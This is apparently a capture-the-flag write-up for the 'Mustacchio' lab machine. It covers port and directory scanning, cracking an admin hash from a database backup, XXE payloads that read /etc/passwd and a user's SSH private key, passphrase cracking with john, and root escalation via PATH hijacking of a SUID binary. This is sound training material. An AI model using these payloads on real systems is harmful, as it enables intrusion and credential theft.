Introduction
Mustacchio is an easy boot2root Linux machine. First we start with some enumeration and we find a sql database backup. Once we crack the admin password that we find on the backup, we can login to a web interface where XML code can be submited. SSH access can be obtained by using XXE to exfiltrate the private key of a user on the machine. Finally, we obtain root access by performing a path variable attack on a root SUID binary.
Enumeration
Port scanning
We start with a nmap scan and we find the following services running on the target.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 10:42 EDT
Nmap scan report for 10.10.164.21
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
| 256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_ 256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.21 seconds
Web enumeration
First we take a look at port 80 and we have the following static website.
When browsing the source code we dont find anything useful. Now we try some directory enumeration.
gobuster dir --wordlist /usr/share/dirb/wordlists/big.txt --url 10.10.164.21 -x php,html
/about.html (Status: 200) [Size: 3152]
/blog.html (Status: 200) [Size: 3172]
/contact.html (Status: 200) [Size: 1450]
/custom (Status: 301) [Size: 313] [--> http://10.10.164.21/custom/]
/fonts (Status: 301) [Size: 312] [--> http://10.10.164.21/fonts/]
/gallery.html (Status: 200) [Size: 1950]
/images (Status: 301) [Size: 313] [--> http://10.10.164.21/images/]
/index.html (Status: 200) [Size: 1752]
/robots.txt (Status: 200) [Size: 28]
This enumeration reveals /custom
directory which contains a backup file.
We download the backup file and we find out that it’s a SQLite database.
$ file users.bak
users.bak: SQLite 3.x database, last written using SQLite version 3034001
We open it with sqlite3 users.bak
. First we run .tables
to get a list of the tables and we execute .dump users
in order to dump the contents of the users table.
sqlite> .tables
users
sqlite> .dump users
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','1868e36a6d2b17d4c2745f1659433a54d4bc5f4b');
COMMIT;
We find a password hash for the ‘admin’ user. We use hashid
to analyze the hash and we get that it’s a SHA-1 hash. Let’s try using CrackStation to get the plaintext password.
Now that we have the admin password bulldog19
let’s continue enumerating.
Login panel
On the nginx service that is running on port 8765 there’s a login panel.
We are able to login with the credentials that we obtained on the previous step. On the admin panel page there is an input box where it appears that we can submit text.
However, if we try to submit a comment we obtain a javascript alert saying “Insert XML Code!”.
The form is expecting an XML document. We can test if there is a XXE vulnerability, but we need to know what’s the input format.
We look at the souce of the page and we obtain the following information:
- There’s an user “barry” who can login with a ssh private key file.
- Theres a file on
/auth/dontforget.bak
that might have useful information
First we download the .bak file and we find out that it’s a XML document that shows us the input format for the submit box.
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>
Gaining Access
XXE
Now that we know the input format, let’s try XXE. First we read the /etc/passwd
file to know the users on the target.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/etc/passwd"> ]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&read;</com>
</comment>
We confirm that barry is an user on the box and that there is another user called “joe”. Now we try to read the private key file from barry.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/home/barry/.ssh/id_rsa"> ]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&read;</com>
</comment>
However the key is protected by a passphrase. In order to crack the passphrase, we can use ssh2john
and john
.
$ python /usr/share/john/ssh2john.py sshhh > sshhh.hash
$ john --wordlist=~/rockyou.txt sshhh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
urieljames (sshhh)
1g 0:00:00:07 DONE (2021-10-14 12:55) 0.1282g/s 1838Kp/s 1838Kc/s 1838KC/sa6_123..*7¡Vamos!
Session completed
Now that we have the passphrase we can login to the machine.
user.txt
The user flag is on barry’s home directory.
Privilege Escalation
First we start looking for SUID misconfiguration and we find out that there’s a root ownwed file on /home/joe/live_log
with SUID enabled.
barry@mustacchio:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/gpasswd
/home/joe/live_log
/bin/ping
/bin/ping6
/bin/umount
/bin/mount
/bin/fusermount
/bin/su
We read its contents with strings
command and we find that it executes the command tail
without an absolute path. Therefore, we can create a malicious script called “tail” and insert it higher in the environment PATH
variable so that it is executed instead of the tail
command.
We create our malicious script on /tmp
and make it executable with
chmod +x /tmp/tail
#!/bin/bash
bash -p
Then we add the /tmp
directory to the beginning of our PATH
variable.
barry@mustacchio:/tmp$ export PATH=/tmp:$PATH
Finally, we execute the live_log script.
barry@mustacchio:/tmp$ /home/joe/live_log
root@mustacchio:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:/tmp# ls /root
root.txt